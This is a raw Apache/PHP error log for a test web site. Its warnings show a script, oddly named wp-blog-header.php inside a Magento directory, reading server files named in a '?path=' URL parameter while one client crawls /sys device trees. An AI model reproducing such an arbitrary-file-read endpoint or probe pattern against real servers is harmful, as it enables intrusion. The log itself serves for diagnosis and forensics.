[Thu Mar 26 15:10:30.215100 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/drivers/ec
[Thu Mar 26 15:10:32.805313 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/drivers/ec
[Thu Mar 26 15:10:34.434695 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:fa
[Thu Mar 26 15:10:34.982602 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 15:10:38.257201 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ac
[Thu Mar 26 15:10:40.991527 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:da
[Thu Mar 26 15:10:42.026371 2026] [php:warn] [pid 3230778] [client 74.7.241.26:43660] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ee
[Thu Mar 26 15:10:47.600081 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ec
[Thu Mar 26 15:10:48.080005 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:fa
[Thu Mar 26 15:10:50.225359 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:be
[Thu Mar 26 15:10:51.717418 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ec
[Thu Mar 26 15:10:52.813319 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ca
[Thu Mar 26 15:10:53.820223 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:dc
[Thu Mar 26 15:10:54.894632 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/drivers/ec
[Thu Mar 26 15:10:55.921092 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/drivers/ec
[Thu Mar 26 15:10:56.472254 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/drivers/ac
[Thu Mar 26 15:10:56.930981 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:dc
[Thu Mar 26 15:11:00.611362 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem
[Thu Mar 26 15:11:01.622056 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/drivers/ac
[Thu Mar 26 15:11:06.513149 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ec
[Thu Mar 26 15:11:17.008493 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers/ec
[Thu Mar 26 15:11:20.769929 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ea
[Thu Mar 26 15:11:21.877080 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/drivers/ac
[Thu Mar 26 15:11:25.483000 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:fc
[Thu Mar 26 15:11:27.672317 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem
[Thu Mar 26 15:11:29.176898 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ba
[Thu Mar 26 15:11:36.572289 2026] [php:warn] [pid 3216147] [client 74.7.241.26:52642] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:be
[Thu Mar 26 15:11:41.004794 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:ea
[Thu Mar 26 15:11:42.117694 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:bc
[Thu Mar 26 15:11:43.068121 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ac
[Thu Mar 26 15:11:45.220132 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ce
[Thu Mar 26 15:11:52.604757 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ac
[Thu Mar 26 15:11:55.809186 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ec
[Thu Mar 26 15:11:59.498612 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:fa
[Thu Mar 26 15:12:03.153776 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 15:12:04.235418 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:fc
[Thu Mar 26 15:12:05.347891 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem
[Thu Mar 26 15:12:06.379494 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ba
[Thu Mar 26 15:12:07.928860 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem
[Thu Mar 26 15:12:08.445498 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ba
[Thu Mar 26 15:12:11.212009 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ca
[Thu Mar 26 15:12:12.256516 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:da
[Thu Mar 26 15:12:13.815388 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ae
[Thu Mar 26 15:12:14.372176 2026] [php:warn] [pid 3230778] [client 74.7.241.26:39470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:da
